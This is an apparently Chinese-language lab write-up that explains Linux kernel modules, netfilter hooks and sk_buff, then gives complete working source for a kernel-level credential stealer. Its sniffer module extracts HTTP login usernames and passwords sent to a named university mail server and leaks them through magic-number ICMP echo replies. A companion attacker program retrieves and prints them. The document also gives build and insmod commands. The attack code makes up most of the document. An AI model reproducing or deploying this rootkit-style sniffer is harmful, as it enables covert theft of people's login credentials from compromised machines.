一、实验介绍及环境说明
主机 | ip | 内核版本 |
---|---|---|
虚拟机A(攻击者主机) | 192.168.8.103 | Linux 4.15.0-106-generic |
虚拟机B(被攻击者主机) | 192.168.8.104 | Linux 4.15.0-106-generic |
实验流程:在虚拟机B上使用LVM把攻击代码插入内核模块,然后使用虚拟机A向虚拟机B发送自己构建的带有Magic number的ICMP报文,当虚拟机B使用HTTP的方式登录某个网站时,虚拟机A就会拿到明文的用户名及密码。
二、基础知识
2.1 LKM介绍
攻击Linux的最高技术之一就是使用内核代码。这种内核代码可据其特性称为可加载内核模块(Loadable Kernel Module,LKM),是一段运行在内核空间的代码,可以访问操作系统最核心的部分。
LKM是Linux内核为了扩展其功能所使用的可加载内核模块。LKM的优点是动态加载,在不重编译内核和重启系统的条件下对类Unix系统的系统内核进行修改和扩展。否则的话,对Kernel代码的任何修改,都需要重新编译Kernel,大大浪费了时间和效率。大多数的Unix派生系统,包括Linux、BSD、OSX等都支持这个特性。基于此特性,LKM常被用作特殊设备的驱动程序(或文件系统),如声卡的驱动程序等等。
LKM 包含 entry
和 exit
函数,当向内核插入模块时,调用entry
函数,从内核删除模块时则调用 exit
函数。在 2.6 版本之后,可以任意命名这些函数 entry 和 exit 函数,所以存在module_init
和module_exit
宏,用于定义这些函数属于哪种函数。LKM 还包含一组必要的宏和一组可选的宏,用于定义模块的许可证、模块的作者、模块的描述等等。
编译的话,LKM也和应用层代码使用的gcc或者g++不同,Kernel Module使用Makefile,kbuild。
Linus:“Talk is cheap. Show me the code”
下面看一下基于LKM实现的“hello world”。代码及命令如下:
/* hello.c */
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
static int __init init_my_module(void) {
printk(KERN_INFO "Hello, Kernel!\n");
return 0;
}
static void __exit exit_my_module(void) {
printk(KERN_INFO "Bye, Kernel!\n");
}
module_init(init_my_module);
module_exit(exit_my_module);
// 下面的为可选部分
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TEST");
/* Makefile */
obj-m += hello.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
CONFIG_MODULE_SIG=n // 注意加上这句,不然报错
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
make
sudo insmod hello.ko
dmesg | tail //查看这个hello kernel在内核中的输出
2.2 netfilter的介绍
Netfilter是从Linux 2.4开始引入内核的一个子系统,架构就是在整个网络流程的若干位置放置了一些检测点(HOOK),而在每个检测点上登记了一些处理函数进行处理(如包过滤,NAT等,以及可以是 用户自定义的功能)
Netfilter与内核协议栈IP层的五个HOOK点的位置如下所示,具体位置见这篇文章。
NF_IP_PRE_ROUTING:刚刚进入网络层的数据包通过此点(刚刚进行完版本号,校验和等检测), 目的地址转换在此点进行;
NF_IP_LOCAL_IN:经路由查找后,送往本机的通过此检查点,INPUT包过滤在此点进行;
NF_IP_FORWARD:要转发的包通过此检测点,FORWORD包过滤在此点进行;
NF_IP_POST_ROUTING:所有马上便要通过网络设备出去的包通过此检测点,内置的源地址转换功能(包括地址伪装)在此点进行;
NF_IP_LOCAL_OUT:本机进程发出的包通过此检测点,OUTPUT包过滤在此点进行。
HOOK位置
NF_IP_PRE_ROUTING 这个HOOK是数据包被接收到之后调用的第一个HOOK,这个HOOK既是稍后将要描述的模块所用到的。当然,其它的HOOK同样非常有用,但是在这里,我们的焦点是在 NF_IP_PRE_ROUTING 这个HOOK上。在hook函数完成了对数据包所需的任何的操作之后,它们必须返回下列预定义的Netfilter返回值中的一个:
/* Netfilter返回值 */
返回值 含义
NF_DROP 丢弃该数据包
NF_ACCEPT 保留该数据包
NF_STOLEN 忘掉该数据包
NF_QUEUE 将该数据包插入到用户空间
NF_REPEAT 再次调用该hook函数
-
NF_DROP
返回码意味着应该完全删除此数据包并且应该释放为其分配的任何资源。 -
NF_ACCEPT
告诉Netfilter到目前为止数据包仍然可以接受并且它应该移动到Network堆栈的下一阶段。 -
NF_STOLEN
很有趣的,因为它告诉Netfilter “忘记” 数据包。这告诉Netfilter,钩子函数将从这里处理这个数据包,Netfilter应该放弃它的所有处理。但是,这并不意味着数据包的资源被释放。数据包及其钩子的sk_buff结构仍然有效,只是钩子函数已经从Netfilter获得了数据包的所有权 -
NF_QUEUE
将数据包排入队列,通常是将数据包发送给用户进程空间处理 -
NF_REPEAT
请求Netfilter再次调用hook函数。显然,必须小心使用NF_REPEAT以避免无限循环。
2.3 sk_buff数据结构简介
socket buffers,简称skb,中文名字叫套接字缓存。它作为网络数据包的存放地点,使得协议栈中每个层都可以对数据进行操作,从而实现了数据包自底向上的传递。该结构维护收到的或者要发送的网络包。sk_buff是一个双向链表。在较新的内核版本上,sk_buff中已经没有了list成员。
sk_buff双向链表
sk_buff说明了如何访问存储区空间,如何维护多个存储区空间以及存储网络包解析的结果。内核中sk_buff结构体在各层协议之间传输不是用拷贝sk_buff结构体,而是通过增加协议头和移动指针来操作的。如果是从L4传输到L2,则是通过往sk_buff结构体中增加该层协议头来操作;如果是从L4到L2,则是通过移动sk_buff结构体中的data指针来实现,不会删除各层协议头。
sk_buff是一个很复杂的数据结构,只看和我们的操作比较相关的一部分:
__be16 protocol;
/* 传输层头部相对于head的偏移 */
__u16 transport_header;
/* 网络层头部相对于head的偏移 */
__u16 network_header;
/* 链路层头部相对于head的偏移 */
__u16 mac_header;
/* private: */
__u32 headers_end[0];
/* public: */
/* These elements must be at the end, see alloc_skb() for details. */
/* 实际数据的尾部 */
sk_buff_data_t tail;
/* 缓冲区的尾部 */
sk_buff_data_t end;
/* 缓冲区的头部 */
unsigned char *head,
/* 实际数据的头部 */
*data;
/*
缓冲区的总大小,包括skb本身和实际数据len大小,alloc_skb函数将
该字段设置为len+sizeof(sk_buff)
每当len值更新,该值也要对应更新
*/
unsigned int truesize;
/*
引用计数,在使用该skb缓冲区的实例个数,当引用计数为0时,skb才能被释放
skb_get()获取操作中会增加引用计数,kfree_skb释放过程中检查引用计数,
引用计数为0时,才真正释放skb
该计数器只计算sk_buff结构引用计数,缓冲区包含的实际数据由
skb_shared_info->dataref字段记录
*/
atomic_t users;
};
因为数据区在协议栈走的时候要一层层添加或去掉一些数据(比如报头)所以申请一块大的足够的内存,然后在往里放东西。真实的实际数据可能用不了这么多,所以用data,tail指向真实的,head,tail指向边界。刚开始没填充数据时前三个指针指向的是一个地方:
下面列出了一些常用语操作sk_buff的方法:
/* 获得TCP头部的起始位置 */
static inline unsigned char *skb_transport_header(const struct sk_buff *skb){
return skb->head + skb->transport_header;
}
/* 获得IP头部的起始位置 */
static inline unsigned char *skb_network_header(const struct sk_buff *skb){
return skb->head + skb->network_header;
}
/* 获得MAC层头部的起始位置 */
static inline unsigned char *skb_mac_header(const struct sk_buff *skb){
return skb->head + skb->mac_header;
}
三、代码实现及效果展示
3.1 网站分析
本次攻击的网站就拿学校的邮箱系统来做实验。首先,要搞清楚网页提交密码的格式,然后才好使用netfilter对密码对数据包进行用户名和密码的提取。打开网站随便输入一个用户名和密码,使用wireshark抓包分析如下:
表单信息
需要获得的关键信息:
- ip地址:202.38.64.8
- 表单中用户名的key:uid
- 表单中密码的key:password
- TCP data中,用于定位用户名和密码的flag:比如下面的实现中,使用的是Upgrade-Insecure-Requests
3.2 代码详解
代码和Phrack Magazine网站给的FTP密码嗅探器示例差不多,上篇文章有对基于内核的FTP密码嗅探器的源码分析,感兴趣可以看一下。本次实验的代码及其详解如下:
/* 编译内核模块所需的Makefile */
obj-m += sniffer.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
CONFIG_MODULE_SIG=n
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
/*
* @Author: fxding2019@gmail.com
* @Date: 2020-06-17 17:53:08
* @LastEditTime: 2020-06-17 17:55:38
* @LastEditors: fxding2019@gmail.com
* @Description: 内核嗅探模块 sniffer.c
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#define MAGIC_CODE 0x5B // ICMP CODE
#define REPLY_SIZE 36 // tartget_ip(4B) + 预留username(16B) + 预留password(16B)
#define SUCCESS 1
#define FAILURE -1
/*
* 这个是写死的,因为对不同服务器密码嗅探时,字符解析稍有不同,不具有普遍适用性
*/
static const unsigned int target_ip = 138421962 ; // email.ustc.edu.cn
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0;
/* Used to describe our Netfilter hooks */
static struct nf_hook_ops pre_hook; /* Incoming */
static struct nf_hook_ops post_hook; /* Outgoing */
/*从HTTP数据包中抓取 username, password */
static void check_http(struct sk_buff *skb) {
struct iphdr *ip = NULL;
struct tcphdr *tcp = NULL;
char *data = NULL; // tcp data
char *name;
char *passwd;
char *token_and;
char *flag;
int len,i;
/* ip:得到的ip数据包
* tcp:得到的tcp数据包
* data:把指针移动到tcp有效载荷
*/
ip = (struct iphdr *)skb_network_header(skb);
tcp = (struct tcphdr *)skb_transport_header(skb);
data = (char *)tcp + (tcp->doff<<2);
// 用户名和密码的value都不为空
if (strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
// 查找data中出现Connection的位置
flag = strstr(data,"Upgrade-Insecure-Requests");
// 在locale_flag后查找"uid=",找最后一次出现的位置
name = strstr(flag,"uid=");
// "uid="后面的"&"
token_and = strstr(name,"&");
// 跳过"uid=",指向实际值
name += 4;
// len是整个username值的长度
len = token_and - name;
//kmalloc:分配内核空间的内存:len+2:要分配内存的大小,GFP_KERNEL:要分配内存的类型
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
// 初始化内存
memset(username, 0x00, len + 2);
// 把username值取出
for (i = 0; i < len; ++i){
*(username + i) = name[i];
}
// 末尾加上结束符
*(username + len) = '\0';
printk("username: %s\n", username);
/* 同样的方法操作获得password */
passwd = strstr(name,"password=");
token_and = strstr(passwd,"&");
passwd += 9;
len = token_and - passwd;
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
for (i = 0; i < len; ++i){
*(password + i) = passwd[i];
}
*(password + len) = '\0';
}
else{
return ;
}
// 如果得到,就把标志置1
if (username && password)
have_pair++;
}
/**
* 在POST_ROUTING HOOK点处过滤数据包,POST_ROUTING,将数据包发送出去的前一个HOOK点;
* 用于监听本机往外发送的数据包,并从中提取出所需的username,password
*/
static unsigned int watch_out(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state) {
struct iphdr *ip = NULL;
struct tcphdr *tcp = NULL;
// 数据包过滤
ip = (struct iphdr *)skb_network_header(skb);
tcp = (struct tcphdr *)skb_transport_header(skb);
// 把非TCP报文过滤和端口非80的放行
if (tcp->dest != htons(80) || ip->protocol != IPPROTO_TCP)
return NF_ACCEPT;
// 如果还没有拿到密码,则对数据包进行解析
if (!have_pair)
check_http(skb);
// 处理完放行
return NF_ACCEPT;
}
/*
* 在PRE_ROUTING HOOK点处过滤数据包,把发来的代码Magic number的ICMP数据报
* 填上我们偷到的用户名和密码以及server IP后再让其原路返回
*/
static unsigned int watch_in(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state) {
struct iphdr *ip = NULL;
struct icmphdr *icmp = NULL;
int icmp_payload_len = 0; // 相当于窃取ftp代码中的宏定义ICMP_PAYLOAD_SIZE
char *cp_data = NULL; /* Where we copy data to in reply */
unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)
// 得到ip数据包
ip = (struct iphdr *)skb_network_header(skb);
// 如果不是ICMP数据包 或者 已经拿到用户名和密码了 ==> 放行
if (!have_pair || ip->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
// 得到icmp数据包
icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));
// icmp_payload_len为icmp数据的有效载荷(出去icmp头部8B)
icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;
// 再次验证是不是MAGIC_CODE的icmp
if (icmp->code != MAGIC_CODE
|| icmp->type != ICMP_ECHO
|| icmp_payload_len < REPLY_SIZE) {
return NF_ACCEPT;
}
// 交换源、目的IP,往回发包
temp_ipaddr = ip->saddr;
ip->saddr = ip->daddr;
ip->daddr = temp_ipaddr;
//表明数据包是向外发的
skb->pkt_type = PACKET_OUTGOING;
//确定这个数据包来自的什么类型的接口
switch (skb->dev->type) {
case ARPHRD_PPP: break; /* No fiddling needs doing */
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER: {
unsigned char temp_hwaddr[ETH_ALEN];
struct ethhdr *eth = NULL;
/* 移动数据指针指向链接层头,改变链路头的h_dest和 h_source*/
eth = (struct ethhdr *)eth_hdr(skb);
skb->data = (unsigned char*)eth;
skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
break;
}
}
/* 复制IP地址,然后用户名,然后密码到数据包中 */
cp_data = (char *)icmp + 8;
memcpy(cp_data, &target_ip, 4); // target_ip四个字节
memcpy(cp_data+4, username, 16); // username预留16字节
memcpy(cp_data+20, password, 16); // password预留16字节
// 发送数据帧
dev_queue_xmit(skb);
/* 释放保存的用户名和密码并重置have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;
return NF_STOLEN;
}
/* 注册模块 */
int init_module(void) {
pre_hook.hook = watch_in; //回调函数为watch_in
pre_hook.pf = PF_INET; //协议类型:PF_INET,面向IP层的原始套接字
pre_hook.hooknum = NF_INET_PRE_ROUTING; //关键点:对netfilter的PRE_ROUTING位置操作,钩子调用的函数
pre_hook.priority = NF_IP_PRI_FIRST; //优先级
/* 分析如上 */
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.hooknum = NF_INET_POST_ROUTING; //关键点:对netfilter的POST_ROUTING位置操作,钩子调用的函数
post_hook.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &pre_hook);
nf_register_net_hook(&init_net, &post_hook);
printk("hello sniffer\n");
return 0;
}
/* 注销模块 */
void cleanup_module(void) {
nf_unregister_net_hook(&init_net, &pre_hook);
nf_unregister_net_hook(&init_net, &post_hook);
printk("sniffer clean\n");
//注销模块时释放内存
if (password)
kfree(password);
if (username)
kfree(username);
}
/*
* @Author: fxding2019@gmail.com
* @Date: 2020-06-17 17:53:08
* @LastEditTime: 2020-06-17 17:56:26
* @LastEditors: fxding2019@gmail.com
* @Description: 攻击者模块 getpass.c
*/
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/ip_icmp.h>
#include<linux/if_ether.h>
#include<arpa/inet.h>
#define BUFF_SIZE 256
#define SUCCESS 1
#define FAILURE -1
#define MAGIC_CODE 0x5B // ICMP ECHO CODE
struct sockaddr_in remoteip;
struct in_addr server_addr;
int recvsockfd = -1;
int sendsockfd = -1;
unsigned char recvbuff[BUFF_SIZE];
unsigned char sendbuff[BUFF_SIZE];
/* 函数声明 */
unsigned short cksum(unsigned short *, int len);
int send_icmp_request();
int recv_icmp_reply();
int main(int argc, char **argv) {
if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0){
fprintf(stderr, "Usage: %s remoteIP\n", argv[0]);
return 0;
}
recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (recvsockfd < 0 || sendsockfd < 0) {
perror("socket creation error");
return FAILURE;
}
// 先发生再接收,这里也可以使用一个套接字,下面方法是使用两个不同的
send_icmp_request();
recv_icmp_reply();
close(sendsockfd);
close(recvsockfd);
return 0;
}
/*发送ICMP回送请求报文 */
int send_icmp_request() {
bzero(sendbuff, BUFF_SIZE);
// 构造ICMP ECHO首部
struct icmp *icmp = (struct icmp *)sendbuff;
icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
icmp->icmp_code = MAGIC_CODE; // key point
icmp->icmp_cksum = 0;
// 计算ICMP校验和,涉及首部和数据部分,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password))
icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);
printf("sending request........\n");
int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
if (ret < 0) {
perror("send error");
} else {
printf("send a icmp echo request packet!\n\n");
}
return SUCCESS;
}
/* 接收ICMP回送回答报文 */
int recv_icmp_reply() {
bzero(recvbuff, BUFF_SIZE);
printf("waiting for reply......\n");
if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
printf("failed getting reply packet\n");
return FAILURE;
}
// 跳过ip头部,得到icmp报文
struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
// 跳过icmp头部,copy 4个字节的server_addr
memcpy(&server_addr, (char *)icmp+8, 4);
printf("Stolen from http server: %s\n", inet_ntoa(server_addr));
printf("Username: %s\n", (char *)((char *)icmp + 12));
printf("Password: %s\n", (char *)((char *)icmp + 28));
return SUCCESS;
}
/* 计算校验和 */
unsigned short cksum(unsigned short *addr, int len) {
int sum = 0;
unsigned short res = 0;
/* len -= 2,因为 sizeof(unsigned short) = 2;
* sum += *(addr++),每次偏移2Byte
*/
for (; len > 1; sum += *(addr++), len -= 2);
// 每次处理2Byte,可能会存在多余的1Byte
sum += len == 1 ? *addr : 0;
// sum:高16位 + 低16位,高16位中存在可能的进位
sum = (sum >> 16) + (sum & 0xffff);
// sum + sum的高16位,高16位中存在可能的进位
sum += (sum >> 16);
// 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
res = ~sum;
return res;
}
代码关键点解析:
HOOK点:为什么要在PRE_ROUTING和POST_ROUTING放钩子呢,通过上面HOOK位置一图可以看出,PRE_ROUTING是数据包的入口点,POST_ROUTING是数据包的出口点。主机需要给服务器POST数据,所以在出口点过滤数据包,拿到用户名和密码。入口点过滤Magic number ICMP报文,然后把拿到的用户名和密码嵌入后再转发出去
IP地址:实验代码直接把IP地址写死了,毕竟数据包分析用户名和密码时也不具有普遍适用性。这点和FTP密码窃取稍有不同。IP地址使用的是十进制表示。
在data中匹配用户名和密码:
由上图可以看出,uid等多次出现,真正的uid和passwod是出现在tcp data的最后面的。上面代码使用的方式是找到一个离真实uid最近的,具有唯一性的一个flag:Upgrade-Insecure-Requests
。然后再进行匹配。kmalloc与memset:kmalloc申请的内存位于物理内存映射区域,而且在物理上也是连续的。另外,在用户空间使用kmalloc会先打白条,真正分配的时候再产生缺页异常再真正的分配;内核空间使用kmalloc会直接分配内存。memset来进行内存初始化
dev_queue_xmit:linux内核太构造数据包的第二种方式就是直接调用dev_queue_xmit函数,将构造完毕的数据包直接发送到网卡驱动。从NF框架来看,该函数的调用是在 POSTROUTING点之后了,也可以理解为直接通过调用二层的发送函数,将三层构造的数据包发送出去。该函数实际上会调用 skb->dev->hard_start_xmit,即对应网卡的驱动函数,将数据包直接发送的出去。
该函数发送的内容应该是从二层头部开始,到数据包的结束。因此,如果三层构造的数据包,想调用该函数直接发送数据包的话,则需要修改数据包的源和目的MAC,并将skb->data指针指向MAC头部,以及skb->len的值也要加上头部的长度方法
watch_out / watch_in回调函数参数:
注册钩子函数是一个非常简单的过程,主要就是Linux/netfilter.h中定义的nf_hook_ops结构。该结构的定义如下:struct nf_hook_ops { struct list_head list; /* User fills in from here down. */ nf_hookfn *hook; int pf; int hooknum; /* Hooks are ordered in ascending priority. */ int priority; };
hook成员是一个指向
/linux/netfilter.hnf_hookfn
类型的函数的指针,该函数是这个hook被调用时执行的函数。在linux/v4.15/的/linux/netfilter.h中可以看到结构体的定义已经有所变化
注册和注销模块的函数:之前的
nf_register_hook
以及nf_unregister_hook
已经在新版本的内核中换掉了,查看
linux/v4.15/source/include/linux/netfilter.h可以看到4.15内核已经换成nf_register_net_hook
以及nf_unregister_net_hook
,并且其还需要一个net*
的参数,这个参数是已经定义好的值(init_net):
3.3 效果展示
首先把sniffer.c和Makefile放在同一目录,接着在受害者主机上插入内核模块。执行以下命令:
make
sudo insmod sniffer.ko
dmesg | tail // 查看是否插入成功,插入成功会有打印hello kernel
嵌入内核模块过程
然后受害者可以登录邮箱系统,攻击者执行程序就可以获得用户名和密码:
sudo ./getpass 192.168.8.104
192.168.8.104填写密码和用户名
192.168.8.103发动攻击
3.4 分析总结
可以看到,与FTP嗅探器的主要不同点有:
- watch_out和watch_in的参数有所变动
- 对数据包分析并提取密码时有所不同
- 获得tcp和ip头部可以使用函数
skb_transport_header
/skb_network_header
- 注册/注销内核模块函数有所变化(注意对比查看)
除了对密码的提取,以上变动主要原因就是内核版本的变化。
参考文章:
网友评论